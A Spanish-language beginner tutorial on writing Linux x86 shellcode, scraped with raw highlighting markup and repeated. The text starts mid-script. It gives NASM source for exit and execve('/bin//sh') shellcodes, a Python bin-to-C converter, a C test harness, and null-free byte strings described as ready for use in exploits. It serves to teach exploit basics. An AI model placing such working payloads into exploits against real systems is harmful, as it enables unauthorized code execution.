style="color: #ff4500;">1</span><br /> files<span style="color: white;">[</span><span style="color: #008000;">file</span><span style="color: white;">[</span><span style="color: #ff4500;">0</span>:<span style="color: #ff4500;">-4</span><span style="color: white;">]</span><span style="color: white;">]</span>= l<br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\"</span>;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: white;">)</span><br /> source.<span style="color: #B9CCD2;">close</span><span style="color: white;">(</span><span style="color: white;">)</span><br /><br /><span style="color: #ff7700;font-weight:bold;">print</span><span style="color: white;">(</span><span style="color: #483d8b;">"HDL Shellcode Lab - Bin to C"</span><span style="color: white;">)</span><br /><span style="color: #ff7700;font-weight:bold;">if</span><span style="color: white;">(</span><span style="color: #008000;">len</span><span style="color: white;">(</span><span style="color: #dc143c;">sys</span>.<span style="color: #B9CCD2;">argv</span><span style="color: white;">)</span><<span style="color: #ff4500;">2</span><span style="color: white;">)</span>:<br /> exit<span style="color: white;">(</span><span style="color: #ff4500;">0</span><span style="color: white;">)</span><br />process_file<span style="color: white;">(</span><span style="color: #dc143c;">sys</span>.<span style="color: #B9CCD2;">argv</span><span style="color: white;">[</span><span style="color: #ff4500;">1</span><span style="color: white;">]</span><span style="color: white;">)</span><br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Como argumento le pasamos el archivo compilado anteriormente con nasm y nos devolvera algo asi que es una cadena en C para poner en nuestros exploits:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (c):</div><span style="color: #993333;">char</span> shellcode<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span>=<br /> <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80"</span>;<br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre><br /><b>Como probar las shellcodes?</b><br />Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (c):</div><span style="color: #993333;">char</span> shellcode<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span> = <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80"</span>; <span style="color: #808080; font-style: italic;">//aca ponemos nuestra shellcode</span><br /><span style="color: #993333;">int</span> main <span style="color: #66cc66;">(</span><span style="color: #993333;">int</span> argc, <span style="color: #993333;">char</span> *argv<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span><span style="color: #66cc66;">)</span><br /><span style="color: #66cc66;">{</span><br /> <span style="color: #993333;">int</span> <span style="color: #66cc66;">(</span>*run<span style="color: #66cc66;">)</span><span style="color: #66cc66;">(</span><span style="color: #66cc66;">)</span>; <span style="color: #808080; font-style: italic;">//puntero a una funcion</span><br /> run = shellcode; <span style="color: #808080; font-style: italic;">//asignamos la direccion de la shellcode al puntero</span><br /> run<span style="color: #66cc66;">(</span><span style="color: #66cc66;">)</span>; <span style="color: #808080; font-style: italic;">// y la ejecutamos</span><br /><span style="color: #66cc66;">}</span><br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Ahora que tenemos este codigo podemos usar cualquier debugger y poner un break en main, despues de eso ir paso por paso o sino agregamos un "int 3" al principio de la shellcode y el debugger va a saltar ahi.<br /><br /><b>Una shellcode mas compleja</b><br />Aca vamos a hacer una que nos de una shell (algo un poco mas util que salir de un programa jeje), mas especificamente una bash.<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (asm):</div>BITS <span style="color: #ff0000;">32</span><br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">eax</span>,<span style="color: #46aa03; font-weight:bold;">eax</span><br /> <span style="color: #00007f;">push</span> <span style="color: #46aa03; font-weight:bold;">eax</span><br /> <span style="color: #00007f;">push</span> <span style="color: #0000ff;">dword</span> 0x68732f6e <span style="color: #adadad; font-style: italic;">;ponemos a /bin/sh en la pila </span><br /> <span style="color: #00007f;">push</span> <span style="color: #0000ff;">dword</span> 0x69622f2f<br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">ebx</span>,<span style="color: #46aa03; font-weight:bold;">esp</span> <span style="color: #adadad; font-style: italic;">;y le damos la direccion de /bin/sh a ebx </span><br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">edx</span>,<span style="color: #46aa03; font-weight:bold;">edx</span><br /> <span style="color: #00007f;">push</span> <span style="color: #46aa03; font-weight:bold;">edx</span> <span style="color: #adadad; font-style: italic;">;ponemos el resto de los argumentos en la pila </span><br /> <span style="color: #00007f;">push</span> <span style="color: #46aa03; font-weight:bold;">ebx</span><br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">ecx</span>,<span style="color: #46aa03; font-weight:bold;">esp</span><br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">al</span>,0x<span style="color: #ff0000;">0b</span> <span style="color: #adadad; font-style: italic;">;llamamos a la syscall 0x0b (execve) </span><br /> <span style="color: #00007f;">int</span> 0x80<br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Y los bytecodes de esta shellcode despues de compilarla con nasm (y extraerla con el otro script) son:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (c):</div><span style="color: #993333;">char</span> shellcode<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span>=<br /> <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e3"</span><br /> <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>d2<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e1<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>0b<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80"</span>;<br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su extension ;-) (sobre <a href="http://hdlsec.com/foro/hacking/bad-chars-y-encodersdecoders-en-payloads/" target="_blank">bad chars</a> )<br />Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.<br /><br />Espero que les haya gustado esta pequena introduccion a shellcodes y si tienen dudas pregunten.<br /><br />Saludos,<br />Seba.</div>

Que es una shellcode ?

En este post voy a introducir el concepto de shellcode para los que recien empiezan o capas para los que ya lo vieron pero no llegaron a entender como funciona. Usare un sistema Linux 32 bits para r…

Leer más »

Que es una shellcode ?

<div style="text-align: center;">En este post voy a introducir el concepto de <b>shellcode</b> para los que recien empiezan o capas para los que ya lo vieron pero no llegaron a entender como funciona. Usare un sistema Linux 32 bits para realizar las demostraciones.<br /><br /><b>Que significa shellcode?</b><br />Primero necesitamos saber el significado etimologico de shellcode.<br />Shell es como se le dice en ingles (ahora universal) a una terminal. Por lo tanto shellcode significa que es un codigo que nos crea una terminal para que la usemos.<br />Actualmente el termino shellcode no solo se refiere al codigo que nos permite crear una shell, sino que se extiende a codigos con mas funciones como pueden ser crear usuarios, matar/crear un determinado proceso, dar permisos a una carpeta, etc.<br /><br />Y tecnicamente... una shellcode es una porcion de codigo compilada para un determinado procesador que se ejecuta dentro de otro proceso previamente preparado para que la ejecute (ej: stack overflow).<br /><br /><b>Como creamos una shellcode?</b><br />Generalmente se hacen en lenguaje <b>ASM</b> (<b>assembler</b>) para poder tener un control total del proceso ya que en C se agregan partes de codigo que no podemos controlar, ni hablar de otros lenguajes que ni siquiera pueden compilarse a codigo nativo del procesador (.NET, VB, Java, etc).<br />Ya sabemos que no tenemos muchos lenguajes para elegir jeje, asm de x86 (el procesador que usan las pcs) tiene dos sintaxis, la de Intel y la de AT&T, yo prefiero la segunda pero ya que la de Intel es mas popular usaremos esa.<br />Tambien necesitamos saber que una shellcode tiene que ser lo mas corta y portable posible, es por eso que usaremos llamadas al sistema y no llamaremos a la libc u otras librerias. La forma de llamar al sistema/kernel en *nix es mediante la interrupcion 0x80.<br />Tanta teoria se esta volviendo aburrida asi que vamos a los hechos, aca tenemos una shellcode bien simple que solamente cierra el programa llamando a exit(0).<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (asm):</div>BITS <span style="color: #ff0000;">32</span><br /><span style="color: #0000ff;">exit</span>:<br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">ebx</span>,<span style="color: #46aa03; font-weight:bold;">ebx</span> <span style="color: #adadad; font-style: italic;">;ponemos 0 como argumento de exit</span><br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">eax</span>,<span style="color: #46aa03; font-weight:bold;">eax</span> <span style="color: #adadad; font-style: italic;">;limpiamos eax y ebx</span><br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">al</span>,0x01 <span style="color: #adadad; font-style: italic;">;ponemos 1 en eax (es el codigo de la syscall exit)</span><br /> <span style="color: #00007f;">int</span> 0x80 <span style="color: #adadad; font-style: italic;">;finalmente llamamos a la interrupcion</span><br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Ahi hicimos nuesta primer "shellcode".<br /><br /><b>Como extraemos los bytes u opcodes?</b><br />Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:<br />~$ nasm exit.asm<br />si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con<br />~$ ndisasm-b 32 exit<br />y nos mostrara el desensamblado del codigo con sus respectivos opcodes:<br />00000000 31DB xor ebx,ebx<br />00000002 31C0 xor eax,eax<br />00000004 B001 mov al,0x1<br />00000006 CD80 int 0x80<br />Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (python):</div><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span><br /><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">binascii</span> <span style="color: #ff7700;font-weight:bold;">import</span> *<br /><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br /><br />files = <span style="color: white;">{</span><span style="color: white;">}</span><br />length = <span style="color: white;">[</span><span style="color: white;">]</span><br /><br /><span style="color: #ff7700;font-weight:bold;">def</span> write<span style="color: white;">(</span><span style="color: #dc143c;">string</span><span style="color: white;">)</span>:<br /> <span style="color: #dc143c;">sys</span>.<span style="color: #B9CCD2;">stdout</span>.<span style="color: #B9CCD2;">write</span><span style="color: white;">(</span><span style="color: #dc143c;">string</span><span style="color: white;">)</span><br /><br /><span style="color: #ff7700;font-weight:bold;">def</span> process_file<span style="color: white;">(</span><span style="color: #008000;">file</span><span style="color: white;">)</span>:<br /> source = <span style="color: #008000;">open</span><span style="color: white;">(</span><span style="color: #008000;">file</span>,<span style="color: #483d8b;">"rb"</span><span style="color: white;">)</span><br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"char shellcode[]=<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span>"</span><span style="color: white;">)</span><br /> i = <span style="color: #ff4500;">1</span><br /> l = <span style="color: #ff4500;">0</span><br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\"</span>"</span><span style="color: white;">)</span><br /> <span style="color: #ff7700;font-weight:bold;">for</span> data <span style="color: #ff7700;font-weight:bold;">in</span> source.<span style="color: #B9CCD2;">read</span><span style="color: white;">(</span><span style="color: white;">)</span>:<br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\\</span>x"</span><span style="color: white;">)</span><br /> write<span style="color: white;">(</span>b2a_hex<span style="color: white;">(</span>data<span style="color: white;">)</span><span style="color: white;">)</span><br /> <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: white;">(</span>i % <span style="color: #ff4500;">15</span><span style="color: white;">)</span>==<span style="color: #ff4500;">0</span>:<br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\"</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\"</span>"</span><span style="color: white;">)</span><br /> i+=<span style="color: #ff4500;">1</span><br /> l+=<span style="color: #ff4500;">1</span><br /> files<span style="color: white;">[</span><span style="color: #008000;">file</span><span style="color: white;">[</span><span style="color: #ff4500;">0</span>:<span style="color: #ff4500;">-4</span><span style="color: white;">]</span><span style="color: white;">]</span>= l<br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\"</span>;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: white;">)</span><br /> source.<span style="color: #B9CCD2;">close</span><span style="color: white;">(</span><span style="color: white;">)</span><br /><br /><span style="color: #ff7700;font-weight:bold;">print</span><span style="color: white;">(</span><span style="color: #483d8b;">"HDL Shellcode Lab - Bin to C"</span><span style="color: white;">)</span><br /><span style="color: #ff7700;font-weight:bold;">if</span><span style="color: white;">(</span><span style="color: #008000;">len</span><span style="color: white;">(</span><span style="color: #dc143c;">sys</span>.<span style="color: #B9CCD2;">argv</span><span style="color: white;">)</span><<span style="color: #ff4500;">2</span><span style="color: white;">)</span>:<br /> exit<span style="color: white;">(</span><span style="color: #ff4500;">0</span><span style="color: white;">)</span><br />process_file<span style="color: white;">(</span><span style="color: #dc143c;">sys</span>.<span style="color: #B9CCD2;">argv</span><span style="color: white;">[</span><span style="color: #ff4500;">1</span><span style="color: white;">]</span><span style="color: white;">)</span><br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Como argumento le pasamos el archivo compilado anteriormente con nasm y nos devolvera algo asi que es una cadena en C para poner en nuestros exploits:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (c):</div><span style="color: #993333;">char</span> shellcode<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span>=<br /> <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80"</span>;<br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre><br /><b>Como probar las shellcodes?</b><br />Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (c):</div><span style="color: #993333;">char</span> shellcode<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span> = <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80"</span>; <span style="color: #808080; font-style: italic;">//aca ponemos nuestra shellcode</span><br /><span style="color: #993333;">int</span> main <span style="color: #66cc66;">(</span><span style="color: #993333;">int</span> argc, <span style="color: #993333;">char</span> *argv<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span><span style="color: #66cc66;">)</span><br /><span style="color: #66cc66;">{</span><br /> <span style="color: #993333;">int</span> <span style="color: #66cc66;">(</span>*run<span style="color: #66cc66;">)</span><span style="color: #66cc66;">(</span><span style="color: #66cc66;">)</span>; <span style="color: #808080; font-style: italic;">//puntero a una funcion</span><br /> run = shellcode; <span style="color: #808080; font-style: italic;">//asignamos la direccion de la shellcode al puntero</span><br /> run<span style="color: #66cc66;">(</span><span style="color: #66cc66;">)</span>; <span style="color: #808080; font-style: italic;">// y la ejecutamos</span><br /><span style="color: #66cc66;">}</span><br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Ahora que tenemos este codigo podemos usar cualquier debugger y poner un break en main, despues de eso ir paso por paso o sino agregamos un "int 3" al principio de la shellcode y el debugger va a saltar ahi.<br /><br /><b>Una shellcode mas compleja</b><br />Aca vamos a hacer una que nos de una shell (algo un poco mas util que salir de un programa jeje), mas especificamente una bash.<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (asm):</div>BITS <span style="color: #ff0000;">32</span><br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">eax</span>,<span style="color: #46aa03; font-weight:bold;">eax</span><br /> <span style="color: #00007f;">push</span> <span style="color: #46aa03; font-weight:bold;">eax</span><br /> <span style="color: #00007f;">push</span> <span style="color: #0000ff;">dword</span> 0x68732f6e <span style="color: #adadad; font-style: italic;">;ponemos a /bin/sh en la pila </span><br /> <span style="color: #00007f;">push</span> <span style="color: #0000ff;">dword</span> 0x69622f2f<br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">ebx</span>,<span style="color: #46aa03; font-weight:bold;">esp</span> <span style="color: #adadad; font-style: italic;">;y le damos la direccion de /bin/sh a ebx </span><br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">edx</span>,<span style="color: #46aa03; font-weight:bold;">edx</span><br /> <span style="color: #00007f;">push</span> <span style="color: #46aa03; font-weight:bold;">edx</span> <span style="color: #adadad; font-style: italic;">;ponemos el resto de los argumentos en la pila </span><br /> <span style="color: #00007f;">push</span> <span style="color: #46aa03; font-weight:bold;">ebx</span><br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">ecx</span>,<span style="color: #46aa03; font-weight:bold;">esp</span><br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">al</span>,0x<span style="color: #ff0000;">0b</span> <span style="color: #adadad; font-style: italic;">;llamamos a la syscall 0x0b (execve) </span><br /> <span style="color: #00007f;">int</span> 0x80<br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Y los bytecodes de esta shellcode despues de compilarla con nasm (y extraerla con el otro script) son:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (c):</div><span style="color: #993333;">char</span> shellcode<span style="color: #66cc66;">[</span><span style="color: #66cc66;">]</span>=<br /> <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e3"</span><br /> <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>d2<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e1<span style="color: #000099; font-weight: bold;">\x</span>b0<span style="color: #000099; font-weight: bold;">\x</span>0b<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>80"</span>;<br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su extension ;-) (sobre <a href="http://hdlsec.com/foro/hacking/bad-chars-y-encodersdecoders-en-payloads/" target="_blank">bad chars</a> )<br />Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.<br /><br />Espero que les haya gustado esta pequena introduccion a shellcodes y si tienen dudas pregunten.<br /><br />Saludos,<br />Seba.</div>

Que es una shellcode ?

En este post voy a introducir el concepto de shellcode para los que recien empiezan o capas para los que ya lo vieron pero no llegaron a entender como funciona. Usare un sistema Linux 32 bits para r…

Leer más »